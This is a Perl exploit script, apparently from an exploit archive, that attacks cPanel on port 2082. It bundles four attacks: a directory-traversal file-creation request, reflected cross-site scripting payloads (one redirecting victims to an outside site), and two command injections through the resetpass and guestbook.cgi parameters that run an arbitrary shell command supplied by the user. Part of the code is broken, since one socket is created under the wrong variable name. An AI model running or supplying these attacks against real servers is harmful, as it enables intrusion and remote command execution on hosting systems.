use Socket;
use IO::Socket;

$server = "";
$sploit = "";
$cmd = "";
$server = @ARGV[ 0 ];
$sploit = @ARGV[ 1 ];
$cmd = @ARGV [ 2 ];
if($server eq "") {
usage();
}
if($sploit eq "1") {
cpanel1();
}
if($sploit eq "2") {
cpanel2();
}
if($sploit eq "3") {
cpanel3();
}
if($sploit eq "4") {
cpanel4();
}
sub usage
{
printf("\nUsage :\n");
printf("perl h4xlm_cpanel_1.pl <server> <exploit> <cmd>\n\n");
printf("The <server> should be in www.host.com format.\n");
printf("The cmd is for if you want to enter in a one word shell command.\n");
printf("You can use spaces with \%20 only. If you put in spaces, the program\n");
printf("will only send the first word.\n");
printf("Exploits:\n");
printf("1> Directory Traversal/Creation Exploit Checker (Upto v.9.1.0-EDGE 70)\n");
printf("2> Cross-site Scripting Exploit Checker (Upto v.9.1.0-R85?)\n");
printf("3> Remote Command Entry Exploit Exploiter (5.3 - 9.1?)\n");
printf("4> Guestbook.cgi Remote Command Entry Exploiter (5.0 and below)\n");
}
sub cpanel1()
{
my $sock = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $server,
PeerPort => "2082",
) || die("No server found under $server on http/2082");
$sock->autoflush(1);
print $sock "GET /frontend/x/err/erredit.html?dir=/public_html/&file=h4xlm.txt HTTP/1.1\r\n";
printf("\nGET request sent ...\n");
sleep(1);
printf("If sucessful, http://$server/h4xlm.txt should exist\n");
printf("if it exists, it worked.\n");
close($sock);
exit(1);
}
sub cpanel2()
{
my $sock = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $server,
PeerPort => "2082",
) || die("No server found under $server on http/2082");
$sock->autoflush(1);
print $sock "GET /frontend/x/cpanelpro/showlog.html?account=<script>alert('Vulnerable')</script> HTTP/1.1\r\n";
printf("\nGET request 1 sent ...\n");
sleep(1);
my $sock2 = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $server,
PeerPort => "2082",
) || die("No server found under $server on http/2082");
$sock2->autoflush(1);
print $sock2 "GET /frontend/x2/net/dnslook.html?dns=</pre><script>window.location='http://www.h4xlm.net/'</script> HTTP/1.1\r\n";
printf("\nGET request 2 sent ...\n");
sleep(1);
my $sock3 = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $server,
PeerPort => "2082",
) || die("No server found under $server on http/2082");
$sock3->autoflush(1);
print $sock3 "GET /frontend/x2/denyip/del.html?ip=<script>alert('Vulnerable')</script> HTTP/1.1\r\n";
printf("\nGET request 3 sent ...\n");
sleep(1);
my $sock = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $server,
PeerPort => "2082",
) || die("No server found under $server on http/2082");
$sock4->autoflush(1);
print $sock4 "GET /frontend/x2/htaccess/index.html?dir=<script>alert('Vulnerable')</script> HTTP/1.1\r\n";
printf("\nGET request 4 sent ...\n");
sleep(1);
printf("If sucessful, in your browser while browsing $server you\n");
printf("should see at least one popup showing the word Vulnerable\n");
printf("and/or a popup to www.h4xlm.net\n");
close($sock);
close($sock2);
close($sock3);
close($sock4);
exit(1);
}
sub cpanel3()
{
my $sock = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $server,
PeerPort => "2082",
) || die("No server found under $server on http/2082");
$sock->autoflush(1);
print $sock "GET /resetpass/?user=|\">$cmd\"| HTTP/1.1\r\n";
printf("\nGET request sent ...\n");
printf("This should work. You can tell if you check yourself.\n");
sleep(1);
}
sub cpanel4()
{
my $sock = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $server,
PeerPort => "2082",
) || die("No server found under $server on http/2082");
$sock->autoflush(1);
print $sock "GET /cgi-sys/guestbook.cgi?user=cpanel&template=|$cmd| HTTP/1.1\r\n";
printf("\nGET request sent ...\n");
printf("This should work. You can tell if you check yourself.\n");
sleep(1);
}

http://www.frsirt.com/exploits/